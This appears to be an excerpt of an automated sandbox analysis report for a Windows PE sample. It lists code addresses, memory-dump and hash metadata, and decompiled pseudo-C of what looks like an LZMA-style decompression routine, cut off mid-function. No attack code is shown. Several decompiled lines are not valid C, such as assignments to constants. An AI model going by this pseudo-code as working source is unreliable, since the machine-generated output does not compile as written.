0x00406d65
0x00406d6d
0x00406d72
0x00406d74
0x00406d76
0x00406d76
0x00406d98
0x00406d9f
0x00406da2
0x00000000
0x00406da8
0x00000000
0x00406da8
0x00000000
0x00406dad
0x00406dad
0x00406db1
0x00407471
0x00000000
0x00407471
0x00406db7
0x00406dba
0x00406dbd
0x00406dc1
0x00406dc4
0x00406dca
0x00406dcc
0x00406dcc
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd2
0x00406dd2
0x00406dd8
0x00000000
0x00000000
0x00406dda
0x00406ddd
0x00406de0
0x00406de3
0x00406de6
0x00406de9
0x00406dec
0x00406def
0x00406df2
0x00406df5
0x00406df8
0x00406e10
0x00406e13
0x00406e16
0x00406e19
0x00406e19
0x00406e1c
0x00406e20
0x00406e22
0x00406dfa
0x00406dfa
0x00406e02
0x00406e07
0x00406e09
0x00406e0b
0x00406e0b
0x00406e25
0x00406e2c
0x00406e2f
0x00000000
0x00406e31
0x00000000
0x00406e31
0x00406e2f
0x00406e36
0x00406e36
0x00406e36
0x00406e36
0x00000000
0x00000000
0x00406e71
0x00406e71
0x00406e75
0x0040747d
0x00000000
0x0040747d
0x00406e7b
0x00406e7e
0x00406e81
0x00406e85
0x00406e88
0x00406e8e
0x00406e90
0x00406e90
0x00406e90
0x00406e93
0x00406e96
0x00406e96
0x00406e9c
0x00406e3a
0x00406e3a
0x00406e3d
0x00000000
0x00406e3d
0x00406e9e
0x00406e9e
0x00406ea1
0x00406ea4
0x00406ea7
0x00406eaa
0x00406ead
0x00406eb0
0x00406eb3
0x00406eb6
0x00406eb9
0x00406ebc
0x00406ed4
0x00406ed7
0x00406eda
0x00406edd
0x00406edd
0x00406ee0
0x00406ee4
0x00406ee6
0x00406ebe
0x00406ebe
0x00406ec6
0x00406ecb
0x00406ecd
0x00406ecf
0x00406ecf
0x00406ee9
0x00406ef0
0x00406ef3
0x00000000
0x00406ef5
0x00000000
0x00406ef5
0x00000000
0x00407182
0x00407182
0x00407186
0x004074ad
0x00000000
0x004074ad
0x0040718c
0x0040718f
0x00407192
0x00407196
0x00407199
0x0040719f
0x004071a1
0x004071a1
0x004071a1
0x004071a4
0x00000000
0x00000000
0x00406f52
0x00406f52
0x00406f55
0x004072c7
0x004072c7
0x004072c7
0x00000000
0x004072c7
0x00000000
0x00407291
0x00407295
0x004072b7
0x004072ba
0x004072c4
0x004072c7
0x004072c7
0x004072c7
0x00000000
0x004072c7
0x004072c7
0x00407297
0x0040729a
0x0040729e
0x004072a1
0x004072a1
0x004072a4
0x00000000
0x00000000
0x0040734e
0x00407352
0x00407370
0x00407370
0x00407370
0x00407377
0x0040737e
0x00407385
0x00407385
0x00000000
0x00407385
0x00407354
0x00407357
0x0040735a
0x0040735d
0x00407364
0x004072a8
0x004072a8
0x004072ab
0x00000000
0x00000000
0x0040743f
0x00407442
0x00407343
0x00000000
0x00000000
0x00407079
0x0040707b
0x00407082
0x00407083
0x00407085
0x00407088
0x00000000
0x00000000
0x00407090
0x00407093
0x00407096
0x00407098
0x0040709a
0x0040709a
0x0040709b
0x0040709e
0x004070a5
0x004070a8
0x004070b6
0x00000000
0x00000000
0x0040738c
0x0040738c
0x0040738f
0x00407396
0x00000000
0x00000000
0x0040739b
0x0040739b
0x0040739f
0x004074d7
0x00000000
0x004074d7
0x004073a5
0x004073a8
0x004073ab
0x004073af
0x004073b2
0x004073b8
0x004073ba
0x004073ba
0x004073ba
0x004073bd
0x004073c0
0x004073c0
0x004073c0
0x004073c0
0x004073c3
0x004073c3
0x004073c7
0x00407427
0x0040742a
0x0040742f
0x00407430
0x00407432
0x00407434
0x00407437
0x00407343
0x00407343
0x00000000
0x00407349
0x00407343
0x004073c9
0x004073cf
0x004073d2
0x004073d5
0x004073d8
0x004073db
0x004073de
0x004073e1
0x004073e4
0x004073e7
0x004073ea
0x00407403
0x00407406
0x00407409
0x0040740c
0x00407410
0x00407412
0x00407412
0x00407413
0x00407416
0x004073ec
0x004073ec
0x004073f4
0x004073f9
0x004073fb
0x004073fe
0x004073fe
0x00407419
0x00407420
0x00000000
0x00407422
0x00000000
0x00407422
0x00000000
0x004070be
0x004070c1
0x004070f7
0x00407227
0x00407227
0x00407227
0x00407227
0x0040722a
0x0040722a
0x0040722d
0x0040722f
0x004074b9
0x00000000
0x004074b9
0x00407235
0x00407238
0x00000000
0x00000000
0x0040723e
0x00407242
0x00407245
0x00407245
0x00407245
0x00000000
0x00407245
0x004070c3
0x004070c5
0x004070c7
0x004070c9
0x004070cc
0x004070cd
0x004070cf
0x004070d1
0x004070d4
0x004070d7
0x004070ed
0x004070f2
0x0040712a
0x0040712a
0x0040712e
0x0040715a
0x0040715c
0x00407163
0x00407166
0x00407169
0x00407169
0x0040716e
0x0040716e
0x00407170
0x00407173
0x0040717a
0x0040717d
0x004071aa
0x004071aa
0x004071ad
0x004071b0
0x00407224
0x00407224
0x00407224
0x00000000
0x00407224
0x004071b2
0x004071b8
0x004071bb
0x004071be
0x004071c1
0x004071c4
0x004071c7
0x004071ca
0x004071cd
0x004071d0
0x004071d3
0x004071ec
0x004071ee
0x004071f1
0x004071f2
0x004071f5
0x004071f7
0x004071fa
0x004071fc
0x004071fe
0x00407201
0x00407203
0x00407206
0x0040720a
0x0040720c
0x0040720c
0x0040720d
0x00407210
0x00407213
0x004071d5
0x004071d5
0x004071dd
0x004071e2
0x004071e4
0x004071e7
0x004071e7
0x00407216
0x0040721d
0x004071a7
0x004071a7
0x004071a7
0x004071a7
0x00000000
0x0040721f
0x00000000
0x0040721f
0x0040721d
0x00407130
0x00407133
0x00407135
0x00407138
0x0040713b
0x0040713e
0x00407140
0x00407143
0x00407146
0x00407146
0x00407149
0x00407149
0x0040714c
0x00407153
0x00407127
0x00407127
0x00407127
0x00407127
0x00000000
0x00407155
0x00000000
0x00407155
0x00407153
0x004070d9
0x004070dc
0x004070de
0x004070e1
0x00000000
0x00000000
0x00406e40
0x00406e40
0x00406e44
0x00407489
0x00000000
0x00407489
0x00406e4a
0x00406e4d
0x00406e50
0x00406e53
0x00406e56
0x00406e59
0x00406e5c
0x00406e5e
0x00406e61
0x00406e64
0x00406e67
0x00406e69
0x00406e69
0x00406e69
0x00000000
0x00000000
0x00406fcb
0x00406fcb
0x00406fcf
0x00407495
0x00000000
0x00407495
0x00406fd5
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe0
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fe6
0x00406fe9
0x00406fec
0x00406fef
0x00406ff2
0x00406ff3
0x00406ff5
0x00406ff5
0x00406ff5
0x00406ff8
0x00406ffb
0x00406ffe
0x00407001
0x00407001
0x00407001
0x00407004
0x00407006
0x00407006
0x00000000
0x00000000
0x00407248
0x00407248
0x00407248
0x0040724c
0x00000000
0x00000000
0x00407252
0x00407255
0x00407258
0x0040725b
0x0040725d
0x0040725d
0x0040725d
0x00407260
0x00407263
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407270
0x00407272
0x00407272
0x00407272
0x00407275
0x00407278
0x0040727b
0x0040727e
0x00407281
0x00407285
0x00407287
0x0040728a
0x00000000
0x0040728c
0x00407009
0x00407009
0x00000000
0x00407009
0x0040728a
0x004074bf
0x00000000
0x00000000
0x00406aee
0x004074f6
0x004074f6
0x00000000
0x004074f6
0x00407343
0x004072ca
0x004072c7
0x00000000
0x00406efe

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db5198ca4190c6b334929519d9078d0b7c25f309867be5a342d9eedfd0dff6d3
Instruction ID: b4a429368d408adc735ccef7c69d02ca95e21b2dffe456e9be617d596e32585a
Opcode Fuzzy Hash: db5198ca4190c6b334929519d9078d0b7c25f309867be5a342d9eedfd0dff6d3
Instruction Fuzzy Hash: 44711371D04228CFDF28CFA8C954BADBBB1FB44305F15806AD856BB281D7386986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00407018, Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407018() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M004074FE))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4));
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8));
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
